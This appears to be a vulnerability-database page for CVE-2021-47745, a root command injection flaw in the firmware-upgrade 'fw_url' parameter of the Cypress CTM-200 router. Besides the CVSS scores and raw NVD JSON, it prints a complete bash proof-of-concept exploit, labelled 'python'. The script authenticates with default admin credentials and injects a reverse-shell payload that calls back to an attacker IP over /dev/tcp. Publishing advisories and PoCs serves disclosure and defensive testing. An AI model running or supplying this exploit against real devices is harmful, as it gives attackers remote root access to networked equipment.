Security Vulnerability Report
中文
CVE-2021-47745 CVSS 8.8 HIGH

CVE-2021-47745

Published: 2025-12-31 19:15:43
Last Modified: 2026-04-15 00:35:42

Description

Cypress Solutions CTM-200 2.7.1 contains an authenticated command injection vulnerability in the firmware upgrade script that allows remote attackers to execute shell commands. Attackers can exploit the 'fw_url' parameter in the ctm-config-upgrade.sh script to inject and execute arbitrary commands with root privileges.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cypress Solutions CTM-200 2.7.1 (存在漏洞)
Cypress Solutions CTM-200 < 2.7.1 (可能受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2021-47745 PoC - Cypress CTM-200 Command Injection # Authenticated Command Injection via fw_url parameter in firmware upgrade TARGET_HOST="192.168.1.100" USERNAME="admin" PASSWORD="admin" ATTACKER_IP="192.168.1.200" # Generate reverse shell payload PAYLOAD=";bash -i >& /dev/tcp/${ATTACKER_IP}/4444 0>&1;" # URL encode the payload ENCODED_PAYLOAD=$(echo -n "${PAYLOAD}" | python3 -c "import sys, urllib.parse; print(urllib.parse.quote(sys.stdin.read()))") # Construct the malicious firmware URL MALICIOUS_URL="http://${ATTACKER_IP}/firmware.bin${ENCODED_PAYLOAD}" echo "[+] CVE-2021-47745 PoC" echo "[+] Target: ${TARGET_HOST}" echo "[+] Malicious URL: ${MALICIOUS_URL}" # Authenticate and obtain session cookie SESSION_COOKIE=$(curl -s -c - -d "username=${USERNAME}&password=${PASSWORD}" \ "http://${TARGET_HOST}/login" | grep session | awk '{print $NF}') if [ -z "${SESSION_COOKIE}" ]; then echo "[-] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Trigger firmware upgrade with malicious fw_url parameter curl -v -b "session=${SESSION_COOKIE}" \ -X POST \ -d "fw_url=${MALICIOUS_URL}" \ "http://${TARGET_HOST}/api/firmware/upgrade" echo "[+] Exploit sent, check your listener on port 4444"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47745", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:43.000", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cypress Solutions CTM-200 2.7.1 contains an authenticated command injection vulnerability in the firmware upgrade script that allows remote attackers to execute shell commands. Attackers can exploit the 'fw_url' parameter in the ctm-config-upgrade.sh script to inject and execute arbitrary commands with root privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.cypress.bc.ca", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50408", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/cypress-solutions-ctm-root-remote-os-command-injection-via-firmware-upgrade", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5687.php", "source": "[email protected]"}]}}